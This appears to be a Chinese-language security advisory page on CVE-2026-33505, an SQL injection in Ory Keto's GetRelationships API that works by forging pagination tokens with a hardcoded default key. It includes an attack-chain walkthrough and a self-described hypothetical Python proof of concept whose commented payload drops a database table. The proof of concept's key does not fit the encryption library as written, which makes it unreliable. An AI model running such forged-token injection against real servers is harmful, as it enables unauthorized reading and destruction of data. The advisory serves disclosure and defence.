IPBUF安全漏洞报告
English
CVE-2026-33505 CVSS 7.2 高危

CVE-2026-33505 Ory Keto SQL注入漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33505
漏洞类型
SQL注入
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Ory Keto

相关标签

SQL注入Ory KetoAPI安全权限绕过2026

漏洞概述

Ory Keto是一款开源授权服务器。在26.2.0版本之前,其GetRelationships API存在SQL注入漏洞。该漏洞源于分页令牌的实现缺陷。分页令牌使用`secrets.pagination`配置的密钥加密。若未配置该值,Keto会使用硬编码的默认密钥。由于默认密钥公开,攻击者可生成恶意令牌并注入SQL。攻击者需能访问API并传递原始分页令牌,即可执行任意SQL查询,造成严重影响。

技术细节

该漏洞位于Ory Keto的`GetRelationships` API中,主要由不安全的分页令牌处理机制引发。系统依赖`secrets.pagination`配置项对分页令牌进行加密。在特定配置下(即未设置自定义密钥),Keto会回退使用一个硬编码的默认加密密钥。由于该默认密钥是公开的,攻击者可以掌握加密算法与密钥。攻击者首先需要具备较高的权限(PR:H)以访问API接口,随后利用已知密钥构造包含恶意SQL语句的分页令牌。当API解析该令牌并将其拼接到后续的数据库查询语句时,触发了SQL注入漏洞。这允许攻击者在数据库上下文中执行任意SQL命令,从而绕过应用程序逻辑,直接读取、修改或删除敏感数据,严重威胁系统的机密性、完整性和可用性。

攻击链分析

STEP 1
信息收集
攻击者识别目标使用的是Ory Keto授权服务器,并确定GetRelationships API可访问。
STEP 2
密钥验证
攻击者检查目标是否使用了默认的`secrets.pagination`配置,或者尝试获取已知的密钥。
STEP 3
构造令牌
利用已知的默认密钥,攻击者加密包含恶意SQL语句的伪造分页令牌。
STEP 4
发送请求
攻击者将伪造的分页令牌作为参数发送给GetRelationships API。
STEP 5
执行注入
API解密令牌并将其拼接到SQL查询中,导致恶意SQL语句在数据库中执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# This is a conceptual PoC for CVE-2026-33505 # It demonstrates how an attacker might craft a malicious pagination token # assuming knowledge of the default secret and encryption mechanism. import base64 import json from cryptography.fernet import Fernet # Hypothetical default secret (if not set by admin) DEFAULT_SECRET = b'some-default-secret-key-32-bytes-long' def craft_malicious_token(sql_payload): """ Crafts an encrypted pagination token containing SQL injection payload. """ f = Fernet(base64.urlsafe_b64encode(DEFAULT_SECRET)) # Construct a token object that the backend deserializes # Structure is hypothetical based on typical pagination implementations token_data = { "page_size": 10, "offset": f"0 OR 1=1; {sql_payload}--" } json_data = json.dumps(token_data).encode('utf-8') encrypted_token = f.encrypt(json_data) return encrypted_token.decode('utf-8') # Usage Example # payload = "DROP TABLE relationships;" # malicious_token = craft_malicious_token(payload) # print(f"Generated Malicious Token: {malicious_token}") # # Attacker would then send this token to the GetRelationships API: # GET /relationships?token={malicious_token}

影响范围

Ory Keto < 26.2.0

防御指南

临时缓解措施
作为首要防御措施,请立即通过生成密码学安全的随机密钥来为`secrets.pagination`配置自定义值,切勿使用默认密钥。这能有效阻止攻击者伪造有效的分页令牌。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表